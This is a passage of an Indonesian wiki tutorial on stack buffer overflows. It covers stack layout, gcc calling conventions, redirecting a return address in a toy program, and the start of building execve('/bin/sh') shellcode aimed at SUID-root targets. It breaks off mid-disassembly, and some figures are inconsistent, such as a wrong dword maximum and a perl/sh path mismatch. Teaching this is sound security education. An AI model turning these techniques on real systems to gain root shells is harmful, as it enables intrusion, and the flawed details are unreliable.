Buffer Overflow

From OnnoWiki
Jump to navigation Jump to search

Pendahuluan

Salah satu jenis vulnerability klasik yang hingga saat ini masih aja terjadi adalah Buffer Overflow (BO). Dalam tulisan ini saya akan berusaha menjelaskan apa dan bagaimana BO terjadi dengan cara sederhana hingga bisa dipahami (mudah-mudahan) oleh target audiens pemula sekalipun.

Prinsip dasar BO sebenarnya sederhana saja yaitu: mengalihkan alur program (tentu saja untuk mengarahkannya ke program/code yang kita buat sendiri :)).

Hal itu bisa terjadi akibat data yang diinputkan oleh user melebihi kapasitas tampung (buffer) yang disediakan oleh program. Jika program tidak menghandel kejadian ini dengan baik, luapan data tadi akan menimpa bagian-bagian penting lainnya dari program.

Data yang diinputkan ini bisa kita atur sedemikian rupa sehingga sebenarnya adalah sebuah program yang melakukan apa yang kita inginkan.

Untuk memahami lebih lanjut terjadinya, sebelumnya kita perlu mengenal bagaimana organisasi memori ketika program berjalan, terutama bagian STACK yang merupakan target utama exploit BO, selain itu juga kita perlu mengerti detail mekanisme pemanggilan fungsi/procedure dalam C. Pengetahuan tentang assembler dan debugging juga akan sangat membantu, tapi itu tidak mutlak, jadi tenang saja, OK? :).


Dasar Teori

Memori & addressing

Sebenarnya komputer yang kita anggap canggih ini cuma sederetan data (yang disimpan di memori komputer).

gambar-2.1a.

  |-----------------------/ /-----------------------------| 
  | | | | | | | | | | | | / / | | | | | | | | | | | | | | | 
  |-----------------------/ /-----------------------------| 
  0000                                                     4G
  Bottom                                                  Top

Ya, tidak lebih dari itu.

Atau begini...

gambar-2.1b.

  |----| 4G / Top
  |----|
  |----|
  |----|
  |----|
  /    /
  |----|
  |----|
  |----|
  |----|
  |----| 0000 / Bottom

Setiap byte dari memori itu dinomori, supaya mudah mencarinya Begitulah addressing dilakukan, mudah sekali bukan?

Setiap byte memori diatas tadi mampu menampung data sebesar... ya 1 byte :). atau disebut juga 1 character, karena kalau kita ngetik satu huruf berarti membutuhkan 1 byte (sebetulnya bukan itu sih sebabnya, tapi anggap saja begitu deh).

1 byte itu adalah angka, antara 0 s.d. 255. tergantung dulunya diisi berapa. tapi tidak mungkin diluar itu karena kemampuan seorang byte hanyalah segitu.

sebenarnya sih 1 byte itu terdiri dari 8 bit yang berjejer. masing-masing hanya mampu bilang ya atau tidak (1 atau 0). Nah, kombinasinya kan bisa berbeda-beda tuh? jadi dengan bersama-sama mereka bisa menyatakan 256 nilai yang berbeda. Umumnya dinyatakan dalam bilangan hexa 00 s.d. FF.

1 word artinya 2 byte. 1 dword = 2 word = 4 byte.

Jadi misalnya, kalau kita mengambil data 1 dword dari alamat memori 1000, maka kita akan diberi segumpal data dari 1000, 1001, 1002 dan 1003.

Persis seperti peribahasa, bersatu kita teguh, bercerai kawin lagi, kapasitas representasi biner meningkat secara eksponensial jika digabung. contoh, gabungan 2 byte menjadi 1 word mampu menyatakan kombinasi antara 0..FFFF (0..65535) seterusnya kapasitas 1 dword adalah 0..FFFFFFFF atau 0..4294836225. and on.. and on..


Program Execution

Pada saat program di-load ke memori, susunan bagian-bagiannya adalah seperti gambar dibawah ini, (cat. angka-angka address di sini hanya untuk keperluan visualisasi saja):

gambar-2.2.
______________________________________________
     |                             |
     | TEXT/     DATA      STACK   | HEAP
     | CODE                        | 
_____|_____________________________|__________
0000 | 0100      0500      0800    | 1000
     |                             |
     *-------program victim--------*


TEXT/CODE adalah tempat instruksi program berada, bagian ini umumnya bersifat read-only, setiap usaha untuk merubahnya akan berakhir di segmentation violaton.

DATA berisi data konstan, variable statik dll initialized/ uninitialized data, kecuali terjadi stress yang menyebabkan reorganisasi memori, ukurannya relatif tetap, meskipun tidak read-only seperti bagian TEXT.

STACK tempat menampung tumpukan data sementara, dengan operasi khas-nya yaitu PUSH untuk menaruh data diatas tumpukan, dan POP untuk mengambil data dari atas tumpukan. seperti itulah caranya, jadi dengan operasi PUSH/POP kita tidak bisa mengambil data dari tengah.

HEAP adalah daerah memori yang bebas digunakan oleh program.


Operasi Stack

Seperti telah disebutkan diatas, kita hanya dapat menyimpan atau mengambil tumpukan paling atas dari stack (atau paling bawah tergantung bagaimana anda memandangnya :))

Cuma 3 register yang terkait erat dalam operasi stack ini yaitu Stack Segment, Stack Pointer dan Base Pointer (SS, SP dan BP), kita tidak usah pedulikan segmen register, itu urusan kernel (kecuali kalau kita mau buat program di DOS dengan model segmented memory-nya), jadi yang perlu kita tahu cuma SP dan BP . keduanya tidak lebih adalah penunjuk posisi stack. bedanya, SP naik/turun oleh instruksi PUSH/POP, sementara BP tidak, terserah mau kita isi berapa atau bahkan tidak dipakai sama sekali juga tidak apa-apa.

lho jadi apanya yang sulit? ya tidak ada.

perintah PUSH/POP bisa dilakukan untuk bilangan 16bit atau 32bit, atau operasi khusus push all/pop all. SP berkurang/ bertambah sesuai tipe data ini (sejumlah byte yang diperlukan untuk menampung data tsb).

push 16bit_data, SP berkurang 2 push 32bit_data, SP berkurang 4 pusha, SP berkurang 16 pushad, SP berkurang 32

misalnya nilai SP pertama adalah 0100,

  char C;	//character (1 byte)
  short I;	//integer (2 byte)
  long L;	//long integer (4 byte)
  int * P;	//pointer (4 byte)

lalu kita melakukan perintah sbb:

  push C
  push I
  push L
  push P

maka SP akan menjadi: 100-(2+2+2+4+4) = 88

gambar-2.3a.
____//_____________________________________
    //                   |   |   | | |
    //                   | P | L |I|C|
____//___________________|___|___|_|_|_____
    //                   |           |
000                      88          100

mestinya begitu :) tapi atas nama optimasi, tampaknya gcc tidak perduli mau char kek, integer kek atau pointer, semua sama di-push sebagai tipe data 32bit. untuk kita sih ya oke-oke aja, malah tidak repot-repot ngitungnya kan?

jadi SP = 100 - (4*4) = 84

gambar-2.3b.
____//_____________________________________
    //               |   |   |   |   |
    //               | P | L | I | C |
____//_______________|___|___|___|___|_____
    //               |   88  92  96  |
000                  84              100


Stack dan Instruction Pointer (IP)

Satu hal yang penting adalah bahwa (operasi) stack juga digunakan untuk menyimpan Instruction Pointer (IP), yaitu penunjuk arah bagi program (seperti nomor baris perintah dalam BASIC) coba perhatikan cuplikan kode 'canggih' ini.

IP  CODE
--- --------
.
.
100 GOTO 200
200 GOTO 100
.
.

Jika kita bisa merubah IP 200 menjadi misalnya 110, kita akan menghentikan derita tanpa akhir, endless loop dari GOTO diatas.

Dengan kata lain, merubah IP berarti juga *merubah* jalan hidup program, 'cool' kan? :)

Kita tidak bisa menyimpan atau mengambil IP langsung dengan push/pop, tapi melalui instruksi CALL dan RET, misalnya perintah:

  call func

adalah ekuivalen dengan:

  PUSH next_IP to STACK
  JMP to address_func

next_IP tidak lain adalah lokasi selanjutnya (di memori) dari kode instruksi pemanggilan tersebut.

Sebaliknya instruksi RET akan membuat program menuju alamat yang disimpan sebelumnya diatas. (atau tepatnya *apapun* yang terdapat dalam tumpukan stack paling atas).

  POP STACK to temp
  JMP to temp

Seperti juga PUSH/POP instruksi CALL/RET juga merubah nilai SP, tergantung jenis panggilannya, CALL/RET sebanyak 2 poin dan CALL FAR/RETF sebanyak 4 poin. Tapi mungkin ini tidak terlalu penting karena biasanya model pemanggilan di UNIX selalu RETF.

Hal pertama yang dilakukan oleh suatu fungsi adalah menyimpan nilai SP baik-baik, dikunci oleh BP. karena pada saat akhir dia harus mengembalikan nilai SP itu tanpa kurang suatu apapun, kalau tidak nanti bisa digampar kernel, kill(1).


Pemanggilan fungsi

Fungsi pemanggil (misalnya main()) melakukan hal-hal tertentu ketika melakukan pemanggilan fungsi yang berkaitan dengan bagaimana cara High Level Language (HLL, seperti BASIC, C/C++, Pascal, dll.) mengirmkan parameter/argumen.

Dalam C/C++ parameter didorong ke dalam stack, mulai dari ujung (dari param terakhir sesuai syntax), berturut-turut sampai ke param pertama), selanjutnya prosedur pemanggil juga bertanggung jawab untuk meng-offset nilai SP lagi setelah fungsi kembali (sebesar jumlah yang didorong ke stack). Untuk Pascal berlaku hal yang sebaliknya, tapi sudahlah tidak perlu kita bahas :).

prototype:
  void func(int a, int b, int c);

pemanggilan fungsi:
  func(19,09,1969);
 
pemanggilan fungsi dalam assembler:

  pushl $1969	; c
  pushl $9	; b
  pushl $19	; a
  call func	; sama dengan PUSH next_IP, JMP func

  addl $12,%esp	; pada Pascal, fungsi yang dipanggil
		; yang akan melakukan penyesuaian ini

Karena optimisasi program, nilai yang ditumpuk ke stack berupa kelipatan 16, sehingga transalasinya menjadi:

  addl $-4,%esp	; penyesuaian awal, offset penala stack

  pushl $1969	; c
  pushl $9	; b
  pushl $19	; a
  call func	; sama dengan PUSH next_IP, JMP func

  addl $16,%esp	; penala stack dengan alignment 16


Dalam HLL juga dikenal apa yang disebut dengan prolog dan epilog. Sesuai namanya prolog terjadi pada awal fungsi:

 pushl %ebp	; BP disimpan ke stack
 movl %esp,%ebp	; BP disamakan nilainya dengan SP

jika terjadi operasi stack, misalnya memanggil fungsi lain yang menggunakan parameter, stack alignment 16 dilakukan dengan mengurangi SP sebesar 8. hal ini disebabkan karena instruksi call sebelumnya telah mengkonsumsi stack 4 byte (push IP) serta push BP juga telah mengurangi SP sebesar 4.

 subl 8,%esp	; >prologue_set_stack_ptr

dan epilog terjadi di akhir (sebelum instruksi "ret"):

 movl %ebp,%esp	; SP disamakan nilainya dengan BP 
 popl %ebp	; Nilai BP diambil dari stack

atau disingkat:

  leave		; sama saja dengan gabungan dua instruksi
		; diatas, cuma lebih lambrat ;(



Aplikasi

Studi Program

Contoh program di sini menggunakan FreeBSD 4.7, jadi maaf-maaf saja kalau sedikit berbeda, dengan pengantar yang sudah saya jelaskan diatas, mohon disesuaikan sendiri :)

pertama kita lihat output dari program sederhana ini

contoh0.c
------------------------------------------------------------
void func0() {
  /* nothing to do */
}

int main() {
  func0;
}
------------------------------------------------------------

[aa]$gcc -S -dp contoh0.c
option -S adalah untuk membuat listing code assembly, sedangkan
option -dp menambahken keterangan tambahan dalam listing tsb.

kita lihat listing assembly-nya dari file contoh0.s sbb:

------------------------------------------------------------
        .file   "contoh0.c.c"
        .version        "01.01"
gcc2_compiled.:
.text
        .p2align 2,0x90
.globl func0
                .type            func0,@function
func0:
        pushl %ebp      # 9     movsi-2
        movl %esp,%ebp  # 11    movsi+2/1
.L2:
        leave   # 14    leave
        ret     # 15    return_internal
.Lfe1:
                .size            func0,.Lfe1-func0
        .p2align 2,0x90
.globl main
                .type            main,@function
main:
        pushl %ebp      # 12    movsi-2
        movl %esp,%ebp  # 14    movsi+2/1
.L3:
        leave   # 17    leave
        ret     # 18    return_internal
.Lfe2:
                .size            main,.Lfe2-main
        .ident  "GCC: (GNU) c 2.95.4 20020320 [FreeBSD]"
------------------------------------------------------------

Dibawah label func0 dan main, kita peroleh hasil yang sama

prolog:
  pushl %ebp
  movl %esp,%ebp

epilog:
  leave
  ret

Program ini memang tidak melakukan apa-apa, cuma untuk menunjukkan fungsi prolog dan epilog. program ini juga menunjukkan bahwa fungsi main() diperlakukan sama saja dengan fungsi-fungsi lainnya, bedanya adalah bahwa main() adalah fungsi pertama yang dipanggil.

Selanjutnya supaya tidak 'ribet', hasil program akan diekstrak lebih sederhana seperti format diatas, dan kompilasi dilakukan tanpa menggunakan option "-dp".

jika kita tambahkan result pada fungsi main() tadi sbb:

contoh0.c
------------------------------------------------------------
void func0() {
  /* nothing to do */
}

int main() {
  func0;
  return(1); /* return code */
}
------------------------------------------------------------

kita lihat dari listing dibawah, ternyata nilai pengembalian akan disimpan di register EAX, dan setelah itu fungsi/program akan langsung dihentikan/keluar.

------------------------------------------------------------
main:
  pushl %ebp		; >prolog
  movl %esp,%ebp	; >

  movl $1,%eax		; return value = 1
  jmp .L3		; program langsung menuju epilog

.L3:
  leave			; >epilog
  ret			; >
------------------------------------------------------------

Jika kita tambah beberapa fungsi lain yang menggunakan parameter misalnya menjadi seperti contoh1.c dibawah ini:

contoh1.c
------------------------------------------------------------
void func0() { }
void func1(int I) { }
void func2(int I, long L) { }
int  func3(int I, long L, char * c) { }

/*
  int  func_C(char C) { }
  int  func_CS(char C, short S) { }
  int  func_CSD(char C, short S, double D) { }
*/

int main() {
  func0;
  func1(1);
  func2(2, 3);
  func3(4, 5, 6);
/*
  atau sebaiknya dipanggil dengan:
    func3(4, 5, (char *) 6);
  supaya gcc tidak rewel masalah casting.
*/

/*
  func_C('A');
  func_CS('B', 123);
  func_CSD('C', 45678, 91011.1213);
*/ 

  return(0);
}  
------------------------------------------------------------

Ternyata konversi assembly untuk fungsi-fungsi func0 - func3 tersebut semua sama saja, hanya berisi prolog dan epilog, tampaknya selama parameter yang dilewatkan bertipe integer 32 bit atau pointer, maka SP tidak akan diobok-obok oleh fungsi yang dipanggil. Untuk keperluan BO, kebanyakan kita akan melakukan passing pointer.

Untuk tipe data char/short, fungsi akan mengalokasikan stack untuk menampung manipulasi data, sebagaimana variabel lokal, yang akan dibahas d bagian selanjutnya, sedangkan untuk tipe data real dipergunakan juga floating-point stack st0-st7. Silakan buka comment diatas dan lihat sendiri listingnya :).

Pada fungsi main() mulai terjadi 'silat lidah' antara compiler dengan assembler :),

------------------------------------------------------------
main:
  pushl %ebp		; >prolog
  movl %esp,%ebp	; >

  subl $8,%esp		; >prologue_set_stack_ptr
			; >alignment 16, setelah-
			; >(PUSH BP dan IP) = -8

  addl $-12,%esp	; karena hanya ada satu parameter,
  pushl $1		; maka offset penala stack adalah
  call func1		;   (1 * 4) - 16 = -12
  addl $16,%esp		; penala stack, alignment 16

  addl $-8,%esp		; 2 param -> (2 * 4) - 16 = -8
  pushl $3
  pushl $2
  call func2
  addl $16,%esp		; penala stack

  addl $-4,%esp		; 3 param -> (3 * 4) - 16 = -4 
  pushl $6		; jika ada 4 param, maka offset = 0
  pushl $5		; ..dan selanjutnya.. berulang,
  pushl $4		; jika ada 5 param, offset = -12
  call func3		; dengan penala stack = 32
  addl $16,%esp		; 

  xorl %eax,%eax	; cara yang lebih efisien untuk
			; menyatakan EAX=0
  jmp .L6

.L6:
  leave			; >epilog
  ret			; >
------------------------------------------------------------

gambar-3.1a.
  -SP sebelum pemanggilan fungsi ---->
                                     |
  Offset penala stack                |
    func3 -04 ------------------->   |
    func2 -08 --------------->   |   |
    func1 -12 ----------->   |   |   |             main()
____//___________________|___|___|___|___________|___|_
    //               |   |   |   |   |       |   |   | 
    //               | I | L | C | # | sub 8 |BP |RET|
____//_______________|___|___|___|___|_______|___|___|_
    //               |   .   .   |   |       |   |   |
000                  84  .   .   |   100     |       116
                     |   .   .   |   |       |
                     |   <--------alignments->
                     V
  -SP setelah pemanggilan fungsi

Dari gambaran diatas, untuk ketiga fungsi tsb ternyata pada akhirnya SP bernilai sama.

Dalam contoh selanjutnya kita akan membuat variabel lokal

contoh2.c
--------------------------------------------------

Void func1(char * S) {
  char buf0[1];			/* paragraf 1: -24 */
}

void func2(char * S) {
  char buf20[1], buf21[3];	/* paragraf 1: -24 */
}

void func3(char * S) {
  char buf30[1]; char buf31[3]; char buf32[5];
}

void func4(char * S) {
  char buf40[1]; char buf41[3]; char buf42[5];
  char buf43[7];		/* paragraf 2: -40 */
}

void func5(int I, long L, char * P) {
  char buf50[1]; char buf51[3]; char buf52[5];
  char buf53[7];		/* paragraf 2: -40 */
  char buf54[9];		/* paragraf 3: -56 */

/* akses variabel lokal */
  buf50[0]=0; 
  buf51[0]=100; buf51[2]=102;
  buf52[0]=200; buf52[4]=204;
  buf53[0]='3';
  buf54[0]='4';
}

int main(void) {
  char buf0[512];
  func5(12345, 678910, buf0);
}
--------------------------------------------------

Fungsi func1 - func4 dibuat hanya untuk menunjukkan bahwa pengalokasian stack juga dilakukan dalam alignment 16. listing func1, func2 dan func3 adalah identik sbb:

func1, func2 & func 3:
  pushl %ebp		; >prolog
  movl %esp,%ebp	; >
  subl $24,%esp		; >prologue_set_stack_ptr
			; >default 8, +16 = 24

Yang sedikit berbeda adalah func4, stack prolognya dikurangi lagi sejumlah 1 paragraf sehingga total sub menjadi 40.

func 4:
  .
  subl $40,%esp		; >prologue_set_stack_ptr
  .			; >8 + 16 + 16 = 40

Akses terhadap argumen yang diberikan, dapat dilihat dalam listing func5 sbb:

func5:
  pushl %ebp		; >prolog
  movl %esp,%ebp	;
  subl $56,%esp		; >prologue_set_stack_ptr

  movb $48,-1(%ebp)	; -buf50[0] = '0'
  movb $100,-8(%ebp)	; -buf51[0] = 100
  movb $102,-6(%ebp)	; -buf51[0] = 102
  movb $-56,-16(%ebp)	; -buf52[0] = 200 (unsigned)
  movb $-52,-12(%ebp)	; -buf52[0] = 204 (unsigned)
  movb $30,-24(%ebp)	; -buf53[0] = 30
  movb $36,-18(%ebp)	; -buf53[0] = 36
  movb $40,-36(%ebp)	; -buf54[0] = 40
  movb $48,-28(%ebp)	; -buf54[0] = 48

  leave			; >epilog
  ret			; >

Gambarannya adalah sebagai berikut. Supaya mudah, kita asumsikan bahwa posisi stack sebelum pemanggilan fungsi adalah 100 (Di bawah ini hanya ditunjukkan sampai buf53), Ternyata dalam mengalokasikan variabel lokal, dilakukan alignment 4 atau dword, untuk string yang berisi lebih dari 3 character, sementara yang isinya cuma 1 char tidak dialign sama sekali, coba tuh lihat dibawah, buf50 mepet banget sama BP.

gambar-3.1b.
            >buf53< buf52  buf51 buf50      <---arguments--->
            |     | ^   ^   ^ ^    ^        |    main() 
____//______|_____|_|___|___|_|____||_______|_______________|
    // dst. 3333333 22222   111    0|   |   |   |   |   |   |
    //      |     |X|   |XXX| |XXXX||BP |RET| I | L | S |XXX|
____//______|_____|_|___|___|_|____||___|___|___|___|___|___|
    //      |               |       |       |               |
000         52              68              84              100


legenda:
  X: slack/tidak digunakan akibat alignment
  BP: Base Pointer
  I, L dan S: parameter yang dimasukkan
  RET: Return Address

Oh iya nanti lupa, seperti kita lihat diatas, posisi argumen/ parameter adalah di sebelah kanan BP, jadi diakses dengan offset positif terhadap BP, sebaliknya dengan variabel lokal.

Eh... ngomong-ngomong, memang ada gunanya enggak sih, mengerti tentang hal itu? Hm.. enggak ada ya :(


Mengalihkan Return Address

Mumpung masih hangat, mari kita coba membuat sebuah contoh bagaimana caranya memotong kayu (lho? maaf barusan teringat lagu TK hai tukang kayu), maksud saya adalah mengalihkan alur program dengan cara merubah nilai return address yang tersimpan di stack. Agar lebih mudah kita pakai saja variabel yang mepet ke BP diatas tadi (bedanya cuma 1).

Seperti kita tahu bahwa besarnya stack yang dialokasikan untuk mengamankan BP adalah sebesar 4 poin/byte. Dan disebelahnya saudara-saudara... adalah...: Return Adress!!!

Untuk melaksanakan rencana jahat kita ini, kita perlu bantuan sebuah pointer agar nanti bisa kita rubah seenak udel kita.

kira-kira nanti begini:

  char buf0[1];
	/* ingat, diatas itu tidak beda dengan: char * buf0 */
	/* jadi masih sodara-an lah sama int * ret dibawah */
  int * ret;

kemudian kita arahkan ret ke return address: tolong harap diingat bahwa penambahan di bawah ini adalah untuk pointer ke character / 1 byte. untuk tipe lain, akan berbeda pula incrementasi-nya, untuk pointer ke integer, misalnya, setiap penambahan 1 poin akan menggeser pointer sebanyak 4 byte / lokasi address.

  ret = buf0 +1 +4;

atau kalo gcc rewel, bisa kita cast sebagai:

  (char *) ret = buf0 +1 +4; 

akhirnya kita ubah return address :)

  *ret = (hm... berapa ya?)

sebaiknya kita gunakan variabel saja supaya gampang diubah, sehingga lengkapnya program kita adalah:

contoh3.c
------------------------------------------------------------
void func(int I) {
  char buf0[1];
  int * ret;

  ret = buf0 +1 +4;
  (*ret) += I;
}

int main(int argc, char *argv[]) {
  char * shell[2];
  int i = 0;

  if (argc > 1) i = atoi(argv[1]);

  shell[0]="/bin/sh";
  shell[1]="/usr/local/bin/bash";

  func(i);

  printf("print#1: lokasi1: %X\n", &shell[0]);	/* print#1 */
  printf("print#2: lokasi2: %X\n", &shell[1]);	/* print#2 */
  printf("print#3: shell1: %s\n", shell[0]);	/* print#3 */
  printf("print#4: shell2: %s\n", shell[1]);	/* print#4 */

  return(0);
}
------------------------------------------------------------

Program diatas akan memindahkan alur program sejauh input yang kita berikan. Jangan terlalu diperhatikan baris-baris perintah main() sebelum pemanggilan func. itu cuma inisialisasi serta pengechekan input.

setelah pemanggilan fungsi func *seharusnya* program melaksanakan perintah berikutnya yaitu print#1, tapi jika kita inputkan suatu nilai tertentu sebagai argument maka program akan dilompatkan sejauh nilai yang kita berikan.

[aa]$./contoh3
print#1 lokasi1: BFBFFBA8
print#2 lokasi2: BFBFFBAC
print#3 shell1: /bin/sh
print#4 shell2: /usr/local/bin/bash

kita coba beberapa buah nilai:

[aa]$./contoh3 1
Bus error (core dumped)
[aa]$./contoh3 2
Segmentation fault (core dumped)
[aa]$./contoh3 4
Illegal instruction (core dumped)
[aa]$./contoh3 100
Segmentation fault (core dumped)
[aa]$./contoh3 1000
Segmentation fault (core dumped)
[aa]$./contoh3 -1
Bus error (core dumped)
[aa]$./contoh3 -100
[aa]$./contoh3 -1000
Segmentation fault (core dumped)


Maksudnya apa sih?

Oh iya, saya belum cerita ya? maksudnya kita mau mencoba untuk (misalnya) melompat langsung kepada printf#3, melewati print#1 dan print#2.

kita debug saja deh...

[aa]$gdb -q contoh3
(gdb)
(gdb) disass main
Dump of assembler code for function main:
0x80481ec <main>:       push   %ebp
0x80481ed <main+1>:     mov    %esp,%ebp
0x80481ef <main+3>:     sub    $0x18,%esp
0x80481f2 <main+6>:     movl   $0x0,0xfffffff4(%ebp)
0x80481f9 <main+13>:    cmpl   $0x1,0x8(%ebp)
0x80481fd <main+17>:    jle    0x8048218 <main+44>
0x80481ff <main+19>:    add    $0xfffffff4,%esp
0x8048202 <main+22>:    mov    0xc(%ebp),%eax
0x8048205 <main+25>:    add    $0x4,%eax
0x8048208 <main+28>:    mov    (%eax),%edx
0x804820a <main+30>:    push   %edx
0x804820b <main+31>:    call   0x80483c8 <atoi>
0x8048210 <main+36>:    add    $0x10,%esp
0x8048213 <main+39>:    mov    %eax,%eax
0x8048215 <main+41>:    mov    %eax,0xfffffff4(%ebp)
0x8048218 <main+44>:    movl   $0x8052c8c,0xfffffff8(%ebp)
0x804821f <main+51>:    movl   $0x8052c94,0xfffffffc(%ebp)
0x8048226 <main+58>:    add    $0xfffffff4,%esp
0x8048229 <main+61>:    mov    0xfffffff4(%ebp),%eax
0x804822c <main+64>:    push   %eax
0x804822d <main+65>:    call   0x80481c4 <func>
0x8048232 <main+70>:    add    $0x10,%esp
0x8048235 <main+73>:    add    $0xfffffff8,%esp
0x8048238 <main+76>:    lea    0xfffffff8(%ebp),%eax
0x804823b <main+79>:    push   %eax
0x804823c <main+80>:    push   $0x8052ca8
0x8048241 <main+85>:    call   0x80483e0 <printf>
0x8048246 <main+90>:    add    $0x10,%esp
0x8048249 <main+93>:    add    $0xfffffff8,%esp
0x804824c <main+96>:    lea    0xfffffff8(%ebp),%eax
0x804824f <main+99>:    lea    0x4(%eax),%edx
0x8048252 <main+102>:   push   %edx
0x8048253 <main+103>:   push   $0x8052cb6
0x8048258 <main+108>:   call   0x80483e0 <printf>
---Type <return> to continue, or q <return> to quit---
0x8048260 <main+116>:   add    $0xfffffff8,%esp
0x8048263 <main+119>:   mov    0xfffffff8(%ebp),%eax
0x8048266 <main+122>:   push   %eax
0x8048267 <main+123>:   push   $0x8052cc4
0x804826c <main+128>:   call   0x80483e0 <printf>
0x8048271 <main+133>:   add    $0x10,%esp
0x8048274 <main+136>:   add    $0xfffffff8,%esp
0x8048277 <main+139>:   mov    0xfffffffc(%ebp),%eax
0x804827a <main+142>:   push   %eax
0x804827b <main+143>:   push   $0x8052cd1
0x8048280 <main+148>:   call   0x80483e0 <printf>
0x8048285 <main+153>:   add    $0x10,%esp
0x8048288 <main+156>:   xor    %eax,%eax
0x804828a <main+158>:   jmp    0x804828c <main+160>
0x804828c <main+160>:   leave
0x804828d <main+161>:   ret
End of assembler dump.
(gdb) q
[aa]$

Cuekin saja baris-baris kode diatas tidak kita perlukan, Yang kita butuh adalah address setelah func dipanggil (address ini di-push ke stack pada saat pemanggilan func, nilai inilah yang kita rubah dalam fungsi func)

.
0x804822d <main+65>:    call   0x80481c4 <func>
0x8048232 <main+70>:    add    $0x10,%esp
.

...serta address setelah print#2 dipanggil. kita akan mengalihkan alur program ke sini.

.
0x8048258 <main+108>:   call   0x80483e0 <printf>
0x804825d <main+113>:   add    $0x10,%esp
.

Untuk mengalihkan alur program dari address pertama diatas kepada address kedua, berarti return address harus diubah (ditambah) sebesar selisih antara keduanya.

Dengan aljabar sederhana kita peroleh displacement offsetnya adalah sebesar: <main+113> - <main+70> = 113 - 70 = 43

Mari kita coba sekali lagi...

[aa]$./contoh3 43
print#3: shell1: /bin/sh
print#4: shell2: /usr/local/bin/bash
[aa]$

OK! :))


Exec Syscall

Setelah sukses pertama membelokkan alur program ke tempat yang kita kehendaki selanjutnya kita perlu memilih apa yang akan kita jalankan dan dimana ditempatkannya. Umumnya program akan diarahkan untuk menjalankan shell /bin/sh, karena dari situ praktis kita dapat menjalankan yang lainnya terserah kita, apalagi jika program yang diekploit tersebut SUID root maka tunai sudah suratan, dan mereka hidup bahagia selamanya sampai akhir hayat. eng- ing- eeeng...

untuk spawning shell code kita lihat lihat dan pelajari prototype dari fungsi execve(2).

[aa]$man execve

NAME
  execve - execute a file

LIBRARY
  Standard C Library (libc, -lc)

SYNOPSIS
  #include <unistd.h>

  int
  execve(const char *path, char *const argv[], char *const envp[]);

DESCRIPTION
  Execve() transforms the calling process.. bla-bla-bla...
 

Fungsi ini adalah embahnya fungsi-fungsi exec yang lain, front-end-nya bisa berupa execl, execlp, execle, exect, execv dan execvp. Jika execve sukses dijalankan, selanjutnya program kita bisa jalan sendiri tidak perlu lagi balik atau terikat oleh proses yang memanggilnya. Cocok-lah dengan keinginan kita :)

arg1 (path) harus berisi path string lengkap dari program yang akan kita jalankan, sementara arg2 (argv), adalah argumen list (array dari strings alias pointer ke pointer). Kedua argumen ini *harus* diisi dengan benar.

kita isi arg1 (path) dengan string "/bin/sh" (shell), dan arg2 dengan pointer ke string tsb. dengan NULL sebagai terminator.

baca-baca juga manual exit(3) dan _exit(2) ya?

langsung saja kita lihat program berikut listing assembly-nya:

contoh4.c
------------------------------------------------------------
#include <unistd.h>

int main() {
  char * sh[2];
  sh[0] = "/usr/bin/perl";
  sh[1] = NULL;
  execve(sh[0], sh, NULL);
  _exit(0);
}
------------------------------------------------------------

Hm... sebentar, kita bahas dulu dua instruksi assembler yang agak mirip-mirip, dan bisa membingungkan bahkan menyesatkan yaitu MOV mem,reg dengan LEA mem,reg: LEA artinya Load Effective Address, sementara MOV artinya menyalin/mengkopi isi memori/register.

gambar-3.3.
____//___________________________
    //     |1|3|5|7|9|A|C|E|
    //     |2|4|6|8|0|B|D|F|
____//_____|_|_|_|_|_|_|_|_|_____
    //     |               |
000        92              100

misalkan jika nilai SP sekarang adalah 92, maka instruksi MOVL %ESP,%EAX akan menyalin *isi* ESP seukuran dword atau 12345678 kedalam EAX. jadi, EAX=12345678, sedangkan LEAL %ESP,%EAX akan menyalin *address* ESP atau 00000092 ke dalam EAX. jadi, EAX=00000092.

Dalam syntax intel, instruksi LEA EAX,ESP identik dengan

  mov EAX, OFFSET [ESP]

Dalam syntax att, jika operand untuk mov memakai prefix ($) maka yang diambil adalah: address-nya. Sebaliknya jika tidak memakai prefix, maka yang diambil adalah: isi-memori-nya

movl $var,%eax => EAX = address var
movl var,%eax  => EAX = nilai/isi memori dari var

hati-hati, immediate operand (biasanya berupa angka), justru menggunakan prefix $ seperti dalam: movl $-123,%eax, artinya menjadikan EAX bernilai -123.

Sebaliknya untuk pengalamatan tidak langsung oleh register, notasinya adalah memakai tanda kurung.

mov (%ebx),%eax  : salin isi memory yang alamatnya ditampung
                   oleh BX. nilai BX = address.
mov %ebx,%eax    : salin nilai BX kedalam AX

Kita lihat bahwa offset memory sama dengan nilai BX itu sendiri, jadi jika/selama tidak terdapat displacement lainnya dalam base indexing, maka instruksi: "lea (%ebx),%eax" hasilnya adalah sama saja dengan instruksi: "mov %ebx,%eax"

begitu kira-kira, bingun? yah enggak apa-lah, saya juga enggak yakin he-he-he.

(enggak deh, bo-ong,.. cuma becanda, segitu aja marah, bener begitu koq. sungguh deh... please...)

udah ah, kita lanjut... listingnya adalah sbb:

------------------------------------------------------------
DATA
.LC0:
  .byte 0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0

TEXT/CODE
main:
  pushl %ebp		;>prolog
  movl %esp,%ebp	;>
  subl $24,%esp		;>

  movl $.LC0,-8(%ebp)	; address sh[0] / .LC0 / "/bin/sh"
			; disimpan ke stack
  movl $0,-4(%ebp)	; address sh[1] / NULL disimpan ke stack

  addl $-4,%esp		;>offset penala stack
  pushl $0		; arg3 = NULL
  leal -8(%ebp),%eax	; AX = address [BP-8]
  pushl %eax		; arg2 = offset address [BP-8]
  movl -8(%ebp),%eax	; AX = isi memori dari [BP-8]
  pushl %eax		; arg1 = address "/bin/sh" 
  call execve
  addl $16,%esp		;>penala stack

  addl $-12,%esp	;>offset penala stack
  pushl $0		; arg1
  call _exit
  addl $16,%esp		;>penala stack
.L2:
  leave
  ret
------------------------------------------------------------

Kita ambil beberapa baris assembly yang kita perlukan untuk menyusun program kita, yaitu pemanggilan spawning dengan execve dan clean exit

[aa]$gdb -q contoh4
(gdb) disass main
Dump of assembler code for function main:
0x80481d8 <main>:       push   %ebp
0x80481d9 <main+1>:     mov    %esp,%ebp
0x80481db <main+3>:     sub    $0x18,%esp
0x80481de <main+6>:     movl   $0x8049c41,0xfffffff8(%ebp)
0x80481e5 <main+13>:    movl   $0x0,0xfffffffc(%ebp)
0x80481ec <main+20>:    add    $0xfffffffc,%esp
0x80481ef <main+23>:    push   $0x0
0x80481f1 <main+25>:    lea    0xfffffff8(%ebp),%eax
0x80481f4 <main+28>:    push   %eax
